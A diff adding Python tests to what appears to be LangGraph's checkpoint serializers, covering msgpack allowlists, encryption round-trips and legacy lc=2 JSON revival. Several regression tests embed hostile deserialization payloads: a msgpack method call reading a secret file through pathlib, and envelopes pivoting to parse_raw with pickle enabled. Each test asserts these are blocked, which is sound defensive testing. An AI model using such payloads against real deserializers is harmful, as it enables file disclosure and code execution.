testing.""" + +import math +import random +from collections import Counter, defaultdict +from typing import Any + +from langchain_core.embeddings import Embeddings + + +class CharacterEmbeddings(Embeddings): + """Simple character-frequency based embeddings using random projections.""" + + def __init__(self, dims: int = 50, seed: int = 42): + """Initialize with embedding dimensions and random seed.""" + self._rng = random.Random(seed) + self.dims = dims + # Create projection vector for each character lazily + self._char_projections: defaultdict[str, list[float]] = defaultdict( + lambda: [ + self._rng.gauss(0, 1 / math.sqrt(self.dims)) for _ in range(self.dims) + ] + ) + + def _embed_one(self, text: str) -> list[float]: + """Embed a single text.""" + counts = Counter(text) + total = sum(counts.values()) + + if total == 0: + return [0.0] * self.dims + + embedding = [0.0] * self.dims + for char, count in counts.items(): + weight = count / total + char_proj = self._char_projections[char] + for i, proj in enumerate(char_proj): + embedding[i] += weight * proj + + norm = math.sqrt(sum(x * x for x in embedding)) + if norm > 0: + embedding = [x / norm for x in embedding] + + return embedding + + def embed_documents(self, texts: list[str]) -> list[list[float]]: + """Embed a list of documents.""" + return [self._embed_one(text) for text in texts] + + def embed_query(self, text: str) -> list[float]: + """Embed a query string.""" + return self._embed_one(text) + + def __eq__(self, other: Any) -> bool: + return isinstance(other, CharacterEmbeddings) and self.dims == other.dims diff --git a/libs/checkpoint/tests/test_conformance_delta.py b/libs/checkpoint/tests/test_conformance_delta.py new file mode 100644 index 0000000..82a52a9 --- /dev/null +++ b/libs/checkpoint/tests/test_conformance_delta.py @@ -0,0 +1,33 @@ +"""Run delta-channel conformance capabilities against InMemorySaver.""" + +from __future__ import annotations + +import pytest + +conformance = pytest.importorskip( + "langgraph.checkpoint.conformance", + reason="langgraph-checkpoint-conformance not installed", +) + + +@pytest.mark.asyncio +async def test_delta_channel_conformance(): + from langgraph.checkpoint.conformance import validate + from langgraph.checkpoint.conformance.initializer import checkpointer_test + + from langgraph.checkpoint.memory import InMemorySaver + + @checkpointer_test(name="InMemorySaver") + async def mem_saver(): + yield InMemorySaver() + + report = await validate( + mem_saver, + capabilities={ + "delta_channel_history", + }, + ) + for cap, result in report.results.items(): + if result.passed is False: + details = "\n".join(result.failures or []) + pytest.fail(f"Capability {cap} failed:\n{details}") diff --git a/libs/checkpoint/tests/test_encrypted.py b/libs/checkpoint/tests/test_encrypted.py new file mode 100644 index 0000000..f1fc14e --- /dev/null +++ b/libs/checkpoint/tests/test_encrypted.py @@ -0,0 +1,446 @@ +"""Tests for EncryptedSerializer with msgpack allowlist functionality. + +These tests mirror the msgpack allowlist tests in test_jsonplus.py but run them +through the EncryptedSerializer to ensure the allowlist behavior is preserved +when encryption is enabled. +""" + +from __future__ import annotations + +import logging +import pathlib +import re +import uuid +from collections import deque +from datetime import date, datetime, time, timezone +from decimal import Decimal +from ipaddress import IPv4Address +from typing import Literal, cast + +import ormsgpack +import pytest +from pydantic import BaseModel + +from langgraph.checkpoint.base import BaseCheckpointSaver, _with_msgpack_allowlist +from langgraph.checkpoint.serde import _msgpack as _lg_msgpack +from langgraph.checkpoint.serde.base import CipherProtocol +from langgraph.checkpoint.serde.encrypted import EncryptedSerializer +from langgraph.checkpoint.serde.jsonplus import ( + EXT_METHOD_SINGLE_ARG, + JsonPlusSerializer, + _msgpack_enc, + _warned_blocked_types, + _warned_unregistered_types, +) + + +class InnerPydantic(BaseModel): + hello: str + + +class MyPydantic(BaseModel): + foo: str + bar: int + inner: InnerPydantic + + +class AnotherPydantic(BaseModel): + foo: str + + +class _PassthroughCipher(CipherProtocol): + def encrypt(self, plaintext: bytes) -> tuple[str, bytes]: + return "passthrough", plaintext + + def decrypt(self, ciphername: str, ciphertext: bytes) -> bytes: + assert ciphername == "passthrough" + return ciphertext + + +def _make_encrypted_serde( + allowed_msgpack_modules: ( + _lg_msgpack.AllowedMsgpackModules | Literal[True] | None | object + ) = _lg_msgpack._SENTINEL, +) -> EncryptedSerializer: + """Create an EncryptedSerializer with AES encryption for testing.""" + inner = JsonPlusSerializer( + allowed_msgpack_modules=cast( + _lg_msgpack.AllowedMsgpackModules | Literal[True] | None, + allowed_msgpack_modules, + ) + ) + return EncryptedSerializer.from_pycryptodome_aes( + serde=inner, key=b"1234567890123456" + ) + + +def test_msgpack_method_pathlib_blocked_encrypted_strict( + tmp_path: pathlib.Path, caplog: pytest.LogCaptureFixture +) -> None: + target = tmp_path / "secret.txt" + target.write_text("secret") + payload = ormsgpack.packb( + ormsgpack.Ext( + EXT_METHOD_SINGLE_ARG, + _msgpack_enc(("pathlib", "Path", target, "read_text")), + ), + option=ormsgpack.OPT_NON_STR_KEYS, + ) + serde = EncryptedSerializer( + _PassthroughCipher(), + JsonPlusSerializer(allowed_msgpack_modules=None), + ) + + caplog.set_level(logging.WARNING, logger="langgraph.checkpoint.serde.jsonplus") + caplog.clear() + result = serde.loads_typed(("msgpack+passthrough", payload)) + + assert result == target + assert "blocked deserialization of method call pathlib.path.read_text" in ( + caplog.text.lower() + ) + + +class TestEncryptedSerializerMsgpackAllowlist: + """Test msgpack allowlist behavior through EncryptedSerializer.""" + + @pytest.fixture(autouse=True) + def _reset_warned_types(self) -> None: + # Warning dedup state is process-global; reset per-test so each case + # sees a fresh slate and assertions about warning emission are stable. + _warned_unregistered_types.clear() + _warned_blocked_types.clear() + + def test_safe_types_no_warning(self, caplog: pytest.LogCaptureFixture) -> None: + """Test safe types deserialize without warnings through encryption.""" + serde = _make_encrypted_serde() + + safe_objects = [ + datetime.now(), + date.today(), + time(12, 30), + timezone.utc, + uuid.uuid4(), + Decimal("123.45"), + {1, 2, 3}, + frozenset([1, 2, 3]), + deque([1, 2, 3]), + IPv4Address("192.168.1.1"), + pathlib.Path("/tmp/test"), + ] + + for obj in safe_objects: + caplog.clear() + dumped = serde.dumps_typed(obj) + # Verify encryption is happening + assert "+aes" in dumped[0], f"Expected encryption for {type(obj)}" + result = serde.loads_typed(dumped) + assert "unregistered type" not in caplog.text.lower(), ( + f"Unexpected warning for {type(obj)}" + ) + assert result is not None + + def test_pydantic_warns_by_default(self, caplog: pytest.LogCaptureFixture) -> None: + """Pydantic models not in allowlist should log warning but still deserialize.""" + current = _lg_msgpack.STRICT_MSGPACK_ENABLED + _lg_msgpack.STRICT_MSGPACK_ENABLED = False + serde = _make_encrypted_serde() + + obj = MyPydantic(foo="test", bar=42, inner=InnerPydantic(hello="world")) + + caplog.clear() + dumped = serde.dumps_typed(obj) + assert "+aes" in dumped[0] + result = serde.loads_typed(dumped) + + assert "unregistered type" in caplog.text.lower() + assert "allowed_msgpack_modules" in caplog.text + assert result == obj + _lg_msgpack.STRICT_MSGPACK_ENABLED = current + + def test_strict_mode_blocks_unregistered( + self, caplog: pytest.LogCaptureFixture + ) -> None: + """Strict mode should block unregistered types through encryption.""" + serde = _make_encrypted_serde(allowed_msgpack_modules=None) + + obj = MyPydantic(foo="test", bar=42, inner=InnerPydantic(hello="world")) + + caplog.clear() + dumped = serde.dumps_typed(obj) + assert "+aes" in dumped[0] + result = serde.loads_typed(dumped) + + assert "blocked" in caplog.text.lower() + expected = obj.model_dump() + assert result == expected + + def test_allowlist_silences_warning(self, caplog: pytest.LogCaptureFixture) -> None: + """Types in allowed_msgpack_modules should deserialize without warnings.""" + serde = _make_encrypted_serde( + allowed_msgpack_modules=[ + ("tests.test_encrypted", "MyPydantic"), + ("tests.test_encrypted", "InnerPydantic"), + ] + ) + + obj = MyPydantic(foo="test", bar=42, inner=InnerPydantic(hello="world")) + + caplog.clear() + dumped = serde.dumps_typed(obj) + assert "+aes" in dumped[0] + result = serde.loads_typed(dumped) + + assert "unregistered type" not in caplog.text.lower() + assert "blocked" not in caplog.text.lower() + assert result == obj + + def test_allowlist_blocks_non_listed( + self, caplog: pytest.LogCaptureFixture + ) -> None: + """Allowlists should block unregistered types even through encryption.""" + serde = _make_encrypted_serde( + allowed_msgpack_modules=[("tests.test_encrypted", "MyPydantic")] + ) + + obj = AnotherPydantic(foo="nope") + + caplog.clear() + dumped = serde.dumps_typed(obj) + assert "+aes" in dumped[0] + result = serde.loads_typed(dumped) + + assert "blocked" in caplog.text.lower() + expected = obj.model_dump() + assert result == expected + + def test_safe_types_value_equality(self, caplog: pytest.LogCaptureFixture) -> None: + """Verify safe types are correctly restored with proper values through encryption.""" + serde = _make_encrypted_serde(allowed_msgpack_modules=None) + + test_cases = [ + datetime(2024, 1, 15, 12, 30, 45, 123456), + date(2024, 6, 15), + time(14, 30, 0), + uuid.UUID("12345678-1234-5678-1234-567812345678"), + Decimal("123.456789"), + {1, 2, 3, 4, 5}, + frozenset(["a", "b", "c"]), + deque([1, 2, 3]), + IPv4Address("10.0.0.1"), + pathlib.Path("/some/test/path"), + re.compile(r"\d+", re.MULTILINE), + ] + + for obj in test_cases: + caplog.clear() + dumped = serde.dumps_typed(obj) + assert "+aes" in dumped[0], f"Expected encryption for {type(obj)}" + result = serde.loads_typed(dumped) + + assert "blocked" not in caplog.text.lower(), f"Blocked for {type(obj)}" + if isinstance(obj, re.Pattern): + assert result.pattern == obj.pattern + assert result.flags == obj.flags + else: + assert result == obj, ( + f"Value mismatch for {type(obj)}: {result} != {obj}" + ) + + def test_regex_safe_type(self, caplog: pytest.LogCaptureFixture) -> None: + """re.compile patterns should deserialize without warnings as a safe type.""" + serde = _make_encrypted_serde(allowed_msgpack_modules=None) + pattern = re.compile(r"foo.*bar", re.IGNORECASE | re.DOTALL) + + caplog.clear() + dumped = serde.dumps_typed(pattern) + assert "+aes" in dumped[0] + result = serde.loads_typed(dumped) + + assert "blocked" not in caplog.text.lower() + assert "unregistered" not in caplog.text.lower() + assert result.pattern == pattern.pattern + assert result.flags == pattern.flags + + +class TestWithMsgpackAllowlistEncrypted: + """Test _with_msgpack_allowlist function with EncryptedSerializer.""" + + def test_propagates_allowlist_to_inner_serde(self) -> None: + """_with_msgpack_allowlist should propagate allowlist to inner JsonPlusSerializer.""" + inner = JsonPlusSerializer(allowed_msgpack_modules=None) + encrypted = EncryptedSerializer.from_pycryptodome_aes( + serde=inner, key=b"1234567890123456" + ) + + extra = [("my.module", "MyClass")] + result = _with_msgpack_allowlist(encrypted, extra) + + # Should return a new EncryptedSerializer + assert isinstance(result, EncryptedSerializer) + assert result is not encrypted + # Inner serde should have the allowlist + assert isinstance(result.serde, JsonPlusSerializer) + assert isinstance(result.serde._allowed_msgpack_modules, set) + assert ("my.module", "MyClass") in result.serde._allowed_msgpack_modules + + def test_preserves_cipher(self) -> None: + """_with_msgpack_allowlist should preserve the cipher from the original.""" + inner = JsonPlusSerializer(allowed_msgpack_modules=None) + encrypted = EncryptedSerializer.from_pycryptodome_aes( + serde=inner, key=b"1234567890123456" + ) + + result = _with_msgpack_allowlist(encrypted, [("my.module", "MyClass")]) + + assert isinstance(result, EncryptedSerializer) + # Should use the same cipher + assert result.cipher is encrypted.cipher + + def test_returns_same_if_not_jsonplus_inner(self) -> None: + """_with_msgpack_allowlist should return same serde if inner is not JsonPlusSerializer.""" + + class DummyInnerSerde: + def dumps_typed(self, obj: object) -> tuple[str, bytes]: + return ("dummy", b"") + + def loads_typed(self, data: tuple[str, bytes]) -> None: + return None + + from langgraph.checkpoint.serde.base import CipherProtocol + + class DummyCipher(CipherProtocol): + def encrypt(self, plaintext: bytes) -> tuple[str, bytes]: + return "dummy", plaintext + + def decrypt(self, ciphername: str, ciphertext: bytes) -> bytes: + return ciphertext + + encrypted = EncryptedSerializer(DummyCipher(), DummyInnerSerde()) + result = _with_msgpack_allowlist(encrypted, [("my.module", "MyClass")]) + + assert result is encrypted + + def test_warns_if_allowlist_unsupported( + self, caplog: pytest.LogCaptureFixture + ) -> None: + class DummySerde: + def dumps_typed(self, obj: object) -> tuple[str, bytes]: + return ("dummy", b"") + + def loads_typed(self, data: tuple[str, bytes]) -> object: + return data + + serde = DummySerde() + caplog.set_level(logging.WARNING, logger="langgraph.checkpoint.base") + caplog.clear() + + result = _with_msgpack_allowlist(serde, [("my.module", "MyClass")]) + + assert result is serde + assert "does not support msgpack allowlist" in caplog.text.lower() + + def test_noop_allowlist_returns_same_encrypted_instance(self) -> None: + inner = JsonPlusSerializer(allowed_msgpack_modules=None) + encrypted = EncryptedSerializer.from_pycryptodome_aes( + serde=inner, key=b"1234567890123456" + ) + + result = _with_msgpack_allowlist(encrypted, ()) + + assert result is encrypted + + def test_functional_roundtrip_with_allowlist( + self, caplog: pytest.LogCaptureFixture + ) -> None: + """End-to-end test: allowlist applied via _with_msgpack_allowlist works.""" + inner = JsonPlusSerializer(allowed_msgpack_modules=None) + encrypted = EncryptedSerializer.from_pycryptodome_aes( + serde=inner, key=b"1234567890123456" + ) + + # Apply allowlist for MyPydantic + updated = _with_msgpack_allowlist( + encrypted, + [ + ("tests.test_encrypted", "MyPydantic"), + ("tests.test_encrypted", "InnerPydantic"), + ], + ) + + obj = MyPydantic(foo="test", bar=42, inner=InnerPydantic(hello="world")) + + caplog.clear() + dumped = updated.dumps_typed(obj) + assert "+aes" in dumped[0] + result = updated.loads_typed(dumped) + + # Should deserialize without blocking + assert "blocked" not in caplog.text.lower() + assert result == obj + + def test_original_still_blocks_after_with_allowlist( + self, caplog: pytest.LogCaptureFixture + ) -> None: + """Original serde should still block after _with_msgpack_allowlist creates a new one.""" + inner = JsonPlusSerializer(allowed_msgpack_modules=None) + encrypted = EncryptedSerializer.from_pycryptodome_aes( + serde=inner, key=b"1234567890123456" + ) + + # Apply allowlist - this should create a NEW serde + _with_msgpack_allowlist( + encrypted, + [("tests.test_encrypted", "MyPydantic")], + ) + + # Original should still block + obj = MyPydantic(foo="test", bar=42, inner=InnerPydantic(hello="world")) + + caplog.clear() + dumped = encrypted.dumps_typed(obj) + result = encrypted.loads_typed(dumped) + + assert "blocked" in caplog.text.lower() + assert result == obj.model_dump() + + +class TestEncryptedSerializerUnencryptedFallback: + """Test that EncryptedSerializer handles unencrypted data correctly.""" + + def test_loads_unencrypted_data(self) -> None: + """EncryptedSerializer should handle unencrypted data for backwards compat.""" + plain = JsonPlusSerializer(allowed_msgpack_modules=None) + encrypted = _make_encrypted_serde(allowed_msgpack_modules=None) + + obj = {"key": "value", "number": 42} + + # Serialize with plain serde + dumped = plain.dumps_typed(obj) + assert "+aes" not in dumped[0] + + # Should still deserialize with encrypted serde + result = encrypted.loads_typed(dumped) + assert result == obj + + +def test_with_allowlist_uses_copy_protocol() -> None: + class CopyAwareSaver(BaseCheckpointSaver[str]): + def __init__(self) -> None: + super().__init__(serde=JsonPlusSerializer(allowed_msgpack_modules=None)) + self.copy_was_used = False + + def __copy__(self) -> object: + clone = object.__new__(self.__class__) + clone.__dict__ = self.__dict__.copy() + clone.copy_was_used = True + return clone + + saver = CopyAwareSaver() + + updated = saver.with_allowlist([("tests.test_encrypted", "MyPydantic")]) + + assert isinstance(updated, CopyAwareSaver) + assert updated is not saver + assert updated.copy_was_used is True + assert saver.copy_was_used is False diff --git a/libs/checkpoint/tests/test_jsonplus.py b/libs/checkpoint/tests/test_jsonplus.py new file mode 100644 index 0000000..b0999b0 --- /dev/null +++ b/libs/checkpoint/tests/test_jsonplus.py @@ -0,0 +1,1237 @@ +import dataclasses +import json +import logging +import pathlib +import re +import sys +import uuid +from collections import deque +from datetime import date, datetime, time, timezone +from decimal import Decimal +from enum import Enum +from ipaddress import IPv4Address +from zoneinfo import ZoneInfo + +import dataclasses_json +import numpy as np +import ormsgpack +import pandas as pd +import pytest +from langchain_core.documents.base import Document +from langchain_core.messages import HumanMessage +from pydantic import BaseModel, SecretStr +from pydantic.v1 import BaseModel as BaseModelV1 +from pydantic.v1 import SecretStr as SecretStrV1 + +from langgraph.checkpoint.serde import _msgpack as _lg_msgpack +from langgraph.checkpoint.serde._msgpack import AllowedMsgpackModules +from langgraph.checkpoint.serde.event_hooks import ( + SerdeEvent, + register_serde_event_listener, +) +from langgraph.checkpoint.serde.jsonplus import ( + EXT_METHOD_SINGLE_ARG, + InvalidModuleError, + JsonPlusSerializer, + _msgpack_enc, + _msgpack_ext_hook_to_json, + _warned_blocked_types, + _warned_unregistered_types, +) +from langgraph.store.base import Item + + +class InnerPydantic(BaseModel): + hello: str + + +class MyPydantic(BaseModel): + foo: str + bar: int + inner: InnerPydantic + + +class AnotherPydantic(BaseModel): + foo: str + + +class InnerPydanticV1(BaseModelV1): + hello: str + + +class MyPydanticV1(BaseModelV1): + foo: str + bar: int + inner: InnerPydanticV1 + + +@dataclasses.dataclass +class InnerDataclass: + hello: str + + +@dataclasses.dataclass +class MyDataclass: + foo: str + bar: int + inner: InnerDataclass + + def something(self) -> None: + pass + + +@dataclasses.dataclass(slots=True) +class MyDataclassWSlots: + foo: str + bar: int + inner: InnerDataclass + + def something(self) -> None: + pass + + +class MyEnum(Enum): + FOO = "foo" + BAR = "bar" + + +@dataclasses_json.dataclass_json +@dataclasses.dataclass +class Person: + name: str + + +def test_serde_jsonplus() -> None: + uid = uuid.UUID(int=1) + deque_instance = deque([1, 2, 3]) + tzn = ZoneInfo("America/New_York") + ip4 = IPv4Address("192.168.0.1") + current_date = date(2024, 4, 19) + current_time = time(23, 4, 57, 51022, timezone.max) + current_timestamp = datetime(2024, 4, 19, 23, 4, 57, 51022, timezone.max) + + to_serialize = { + "path": pathlib.Path("foo", "bar"), + "re": re.compile(r"foo", re.DOTALL), + "decimal": Decimal("1.10101"), + "set": {1, 2, frozenset({1, 2})}, + "frozen_set": frozenset({1, 2, 3}), + "ip4": ip4, + "deque": deque_instance, + "tzn": tzn, + "date": current_date, + "time": current_time, + "uid": uid, + "timestamp": current_timestamp, + "my_rich_dict": {(1, 2, 3): 45}, + "my_slotted_class": MyDataclassWSlots("bar", 2, InnerDataclass("hello")), + "my_dataclass": MyDataclass("foo", 1, InnerDataclass("hello")), + "my_enum": MyEnum.FOO, + "my_pydantic": MyPydantic(foo="foo", bar=1, inner=InnerPydantic(hello="hello")), + "my_secret_str": SecretStr("meow"), + "person": Person(name="foo"), + "a_bool": True, + "a_none": None, + "a_str": "foo", + "a_str_nuc": "foo\u0000", + "a_str_uc": "foo ⛰️", + "a_str_ucuc": "foo \u26f0\ufe0f\u0000", + "a_str_ucucuc": "foo \\u26f0\\ufe0f", + "an_int": 1, + "a_float": 1.1, + "a_bytes": b"my bytes", + "a_bytearray": bytearray([42]), + "my_item": Item( + value={}, + key="my-key", + namespace=("a", "name", " "), + created_at=datetime(2024, 9, 24, 17, 29, 10, 128397), + updated_at=datetime(2024, 9, 24, 17, 29, 11, 128397), + ), + } + + if sys.version_info < (3, 14): + to_serialize["my_pydantic_v1"] = MyPydanticV1( + foo="foo", bar=1, inner=InnerPydanticV1(hello="hello") + ) + to_serialize["my_secret_str_v1"] = SecretStrV1("meow") + + allowed_msgpack_modules: AllowedMsgpackModules = [ + InnerDataclass, + MyDataclass, + MyDataclassWSlots, + MyEnum, + InnerPydantic, + MyPydantic, + # Testing that it supports both. + (Person.__module__, Person.__name__), + (SecretStr.__module__, SecretStr.__name__), + ] + if sys.version_info < (3, 14): + allowed_msgpack_modules.extend( # type: ignore + [ + (InnerPydanticV1.__module__, InnerPydanticV1.__name__), + (MyPydanticV1.__module__, MyPydanticV1.__name__), + (SecretStrV1.__module__, SecretStrV1.__name__), + ] + ) + + serde = JsonPlusSerializer(allowed_msgpack_modules=allowed_msgpack_modules) + + dumped = serde.dumps_typed(to_serialize) + + assert dumped[0] == "msgpack" + assert serde.loads_typed(dumped) == to_serialize + + for value in to_serialize.values(): + assert serde.loads_typed(serde.dumps_typed(value)) == value + + surrogates = [ + "Hello??", + "Python??", + "Surrogate??", + "Example??", + "String??", + "With??", + "Surrogates??", + "Embedded??", + "In??", + "The??", + "Text??", + "收花🙄·到", + ] + serde = JsonPlusSerializer(pickle_fallback=False) + + assert serde.loads_typed(serde.dumps_typed(surrogates)) == surrogates + + +def test_serde_jsonplus_json_mode() -> None: + uid = uuid.UUID(int=1) + deque_instance = deque([1, 2, 3]) + tzn = ZoneInfo("America/New_York") + ip4 = IPv4Address("192.168.0.1") + current_date = date(2024, 4, 19) + current_time = time(23, 4, 57, 51022, timezone.max) + current_timestamp = datetime(2024, 4, 19, 23, 4, 57, 51022, timezone.max) + + to_serialize = { + "path": pathlib.Path("foo", "bar"), + "re": re.compile(r"foo", re.DOTALL), + "decimal": Decimal("1.10101"), + "set": {1, 2, frozenset({1, 2})}, + "frozen_set": frozenset({1, 2, 3}), + "ip4": ip4, + "deque": deque_instance, + "tzn": tzn, + "date": current_date, + "time": current_time, + "uid": uid, + "timestamp": current_timestamp, + "my_slotted_class": MyDataclassWSlots("bar", 2, InnerDataclass("hello")), + "my_dataclass": MyDataclass("foo", 1, InnerDataclass("hello")), + "my_enum": MyEnum.FOO, + "my_pydantic": MyPydantic(foo="foo", bar=1, inner=InnerPydantic(hello="hello")), + "my_secret_str": SecretStr("meow"), + "person": Person(name="foo"), + "a_bool": True, + "a_none": None, + "a_str": "foo", + "a_str_nuc": "foo\u0000", + "a_str_uc": "foo ⛰️", + "a_str_ucuc": "foo \u26f0\ufe0f\u0000", + "a_str_ucucuc": "foo \\u26f0\\ufe0f", + "an_int": 1, + "a_float": 1.1, + "a_bytes": b"my bytes", + "a_bytearray": bytearray([42]), + "my_item": Item( + value={}, + key="my-key", + namespace=("a", "name", " "), + created_at=datetime(2024, 9, 24, 17, 29, 10, 128397), + updated_at=datetime(2024, 9, 24, 17, 29, 11, 128397), + ), + } + + if sys.version_info < (3, 14): + to_serialize["my_pydantic_v1"] = MyPydanticV1( + foo="foo", bar=1, inner=InnerPydanticV1(hello="hello") + ) + to_serialize["my_secret_str_v1"] = SecretStrV1("meow") + + serde = JsonPlusSerializer(__unpack_ext_hook__=_msgpack_ext_hook_to_json) + + dumped = serde.dumps_typed(to_serialize) + + assert dumped[0] == "msgpack" + result = serde.loads_typed(dumped) + + expected_result = { + "path": ["foo", "bar"], + "re": ["foo", 48], + "decimal": "1.10101", + "set": [1, 2, [1, 2]], + "frozen_set": [1, 2, 3], + "ip4": "192.168.0.1", + "deque": [1, 2, 3], + "tzn": "America/New_York", + "date": [2024, 4, 19], + "time": { + "hour": 23, + "minute": 4, + "second": 57, + "microsecond": 51022, + "tzinfo": [[0, 86340, 0]], + "fold": 0, + }, + "uid": "00000000-0000-0000-0000-000000000001", + "timestamp": "2024-04-19T23:04:57.051022+23:59", + "my_slotted_class": {"foo": "bar", "bar": 2, "inner": {"hello": "hello"}}, + "my_dataclass": {"foo": "foo", "bar": 1, "inner": {"hello": "hello"}}, + "my_enum": "foo", + "my_pydantic": {"foo": "foo", "bar": 1, "inner": {"hello": "hello"}}, + "my_secret_str": "meow", + "person": {"name": "foo"}, + "a_bool": True, + "a_none": None, + "a_str": "foo", + "a_str_nuc": "foo\x00", + "a_str_uc": "foo ⛰️", + "a_str_ucuc": "foo ⛰️\x00", + "a_str_ucucuc": "foo \\u26f0\\ufe0f", + "an_int": 1, + "a_float": 1.1, + "a_bytes": b"my bytes", + "a_bytearray": b"*", + "my_item": { + "namespace": ["a", "name", " "], + "key": "my-key", + "value": {}, + "created_at": "2024-09-24T17:29:10.128397", + "updated_at": "2024-09-24T17:29:11.128397", + }, + } + + if sys.version_info < (3, 14): + expected_result["my_pydantic_v1"] = { + "foo": "foo", + "bar": 1, + "inner": {"hello": "hello"}, + } + expected_result["my_secret_str_v1"] = "meow" + + assert result == expected_result + + +def test_serde_jsonplus_bytes() -> None: + serde = JsonPlusSerializer() + + some_bytes = b"my bytes" + dumped = serde.dumps_typed(some_bytes) + + assert dumped == ("bytes", some_bytes) + assert serde.loads_typed(dumped) == some_bytes + + +def test_lc2_json_safe_type_revives_without_allowlist() -> None: + """Old 'json' blobs with lc=2 for safe types must revive without an explicit allowlist. + + Regression test for: https://github.com/langchain-ai/langgraph/issues/7498 + Threads checkpointed before v1.0.1 (pre-msgpack) stored messages as lc=2 JSON + constructor dicts. Resuming those threads must reconstruct proper BaseMessage objects + rather than returning raw dicts that cause MESSAGE_COERCION_FAILURE in add_messages. + """ + from langchain_core.messages import AIMessage + + serde = JsonPlusSerializer() # default: _allowed_json_modules=None + + human_blob = { + "lc": 2, + "type": "constructor", + "id": ["langchain_core", "messages", "human", "HumanMessage"], + "kwargs": {"content": "hello", "type": "human"}, + } + ai_blob = { + "lc": 2, + "type": "constructor", + "id": ["langchain_core", "messages", "ai", "AIMessage"], + "kwargs": {"content": "hi there", "type": "ai"}, + } + result = serde.loads_typed(("json", json.dumps([human_blob, ai_blob]).encode())) + + assert len(result) == 2 + assert isinstance(result[0], HumanMessage), ( + f"Expected HumanMessage, got {type(result[0])}: {result[0]!r}\n" + "lc=2 JSON blobs for safe types must deserialize without an explicit allowlist" + ) + assert result[0].content == "hello" + assert isinstance(result[1], AIMessage) + assert result[1].content == "hi there" + + +def test_lc2_json_unknown_type_stays_blocked_without_allowlist() -> None: + """lc=2 JSON blobs for types NOT in SAFE_MSGPACK_TYPES still require an allowlist.""" + serde = JsonPlusSerializer() + load = { + "lc": 2, + "type": "constructor", + "id": ["pprint", "pprint"], + "kwargs": {"object": "HELLO"}, + } + # No allowlist configured → raw dict returned (not raised, not reconstructed) + result = serde.loads_typed(("json", json.dumps(load).encode())) + assert isinstance(result, dict), "Unknown lc=2 type must stay as raw dict" + assert result.get("lc") == 2 + + +def test_deserde_invalid_module() -> None: + serde = JsonPlusSerializer() + load = { + "lc": 2, + "type": "constructor", + "id": ["pprint", "pprint"], + "kwargs": {"object": "HELLO"}, + } + with pytest.raises(InvalidModuleError): + serde._revive_lc2(load) + serde = JsonPlusSerializer(allowed_json_modules=[("pprint", "pprint")]) + serde.loads_typed(("json", json.dumps(load).encode("utf-8"))) + + +def test_lc2_json_method_field_is_ignored() -> None: + """The `method` field on lc=2 envelopes is ignored. + + Regression test for GHSA-fjqc-hq36-qh5p: `_revive_lc2` previously resolved + `getattr(cls, method)` from the envelope, which let an attacker pivot a + safe pydantic class (e.g., AIMessage) to `parse_raw(..., allow_pickle=True)` + and reach `pickle.loads`. Revival now uses only the default constructor. + + Verifies that an envelope carrying ``method="parse_raw"`` does not dispatch + to that method: the result is whatever ``AIMessage(*args, **kwargs)`` would + produce, which proves the default constructor ran instead of ``parse_raw``. + """ + from langchain_core.messages import AIMessage + + serde = JsonPlusSerializer() + load = { + "lc": 2, + "type": "constructor", + "id": ["langchain_core", "messages", "ai", "AIMessage"], + "method": "parse_raw", + "args": ["default-ctor-ran"], + "kwargs": {"content_type": "application/pickle", "allow_pickle": True}, + } + result = serde._revive_lc2(load) + # Default constructor accepts `content` as first positional arg. If parse_raw + # had been invoked instead, it would have attempted JSON/pickle parsing and + # raised (or executed the pickle gadget); neither would produce this result. + assert isinstance(result, AIMessage) + assert result.content == "default-ctor-ran" + + +def test_lc2_json_method_field_is_ignored_for_allowlisted_types() -> None: + """The `method` field is ignored even when the class is explicitly allowlisted. + + A user who configures ``allowed_json_modules`` for a class no longer gets + method dispatch as a side effect. Revival is restricted to the default + constructor regardless of how the class reached the revival path. + """ + from langchain_core.messages import AIMessage + + serde = JsonPlusSerializer( + allowed_json_modules=[("langchain_core.messages.ai", "AIMessage")] + ) + load = { + "lc": 2, + "type": "constructor", + "id": ["langchain_core", "messages", "ai", "AIMessage"], + "method": "parse_raw", + "args": ["default-ctor-ran"], + } + result = serde._revive_lc2(load) + assert isinstance(result, AIMessage) + assert result.content == "default-ctor-ran" + + +def test_lc2_json_safe_type_init_still_works() -> None: + """SAFE-type lc=2 revival without a `method` field still constructs the class.""" + from langchain_core.messages import AIMessage + + serde = JsonPlusSerializer() + load = { + "lc": 2, + "type": "constructor", + "id": ["langchain_core", "messages", "ai", "AIMessage"], + "kwargs": {"content": "hi", "type": "ai"}, + } + result = serde._revive_lc2(load) + assert isinstance(result, AIMessage) + assert result.content == "hi" + + +def test_lc2_json_legacy_pydantic_method_list_falls_back_to_default() -> None: + """Legacy ``method=(None, "construct")`` envelopes still revive via the default ctor. + + Pre-October-2025 langgraph emitted pydantic models with + ``method=(None, "construct")`` meaning "try default constructor, fall back + to pydantic ``construct``". The first entry (``None``) was always the + default constructor, which is what we now do unconditionally. Envelopes of + this shape continue to revive correctly as long as the default constructor + accepts the serialized kwargs. + """ + from langchain_core.messages import AIMessage + + serde = JsonPlusSerializer() + load = { + "lc": 2, + "type": "constructor", + "id": ["langchain_core", "messages", "ai", "AIMessage"], + "method": [None, "construct"], + "kwargs": {"content": "legacy", "type": "ai"}, + } + result = serde._revive_lc2(load) + assert isinstance(result, AIMessage) + assert result.content == "legacy" + + +def test_lc2_json_legacy_construct_payload_logs_warning_when_default_init_rejects( + caplog: pytest.LogCaptureFixture, +) -> None: + """Legacy `method=[None, "construct"]` envelopes whose kwargs the default + `__init__` rejects now revive to `None` and emit an observable warning. + + Pre-October-2025 langgraph emitted pydantic payloads with + `method=[None, "construct"]` so the reviver could fall back to + `cls.construct(**kwargs)` when the default constructor raised a + validation error. That fallback was removed with method-field dispatch + (GHSA-fjqc-hq36-qh5p), so these payloads now silently fail validation. A + `logger.warning` makes the regression observable to operators instead of + letting the envelope quietly degrade to its raw-dict form. + """ + serde = JsonPlusSerializer() + load = { + "lc": 2, + "type": "constructor", + "id": ["langchain_core", "messages", "ai", "AIMessage"], + # Legacy two-entry method tuple: try default ctor, fall back to construct. + "method": [None, "construct"], + # ``type="not-a-real-message-type"`` fails AIMessage's Literal["ai"] + # validator under the default constructor. Before the GHSA patch this + # would have fallen back to ``cls.construct(**kwargs)``; now it must + # return None and log. + "kwargs": {"content": "legacy", "type": "not-a-real-message-type"}, + } + + with caplog.at_level(logging.WARNING, logger="langgraph.checkpoint.serde.jsonplus"): + result = serde._revive_lc2(load) + + assert result is None, ( + "Legacy method=[None, 'construct'] payloads with kwargs the default " + "ctor rejects must now return None (no construct() fallback)." + ) + + matching = [ + r + for r in caplog.records + if r.name 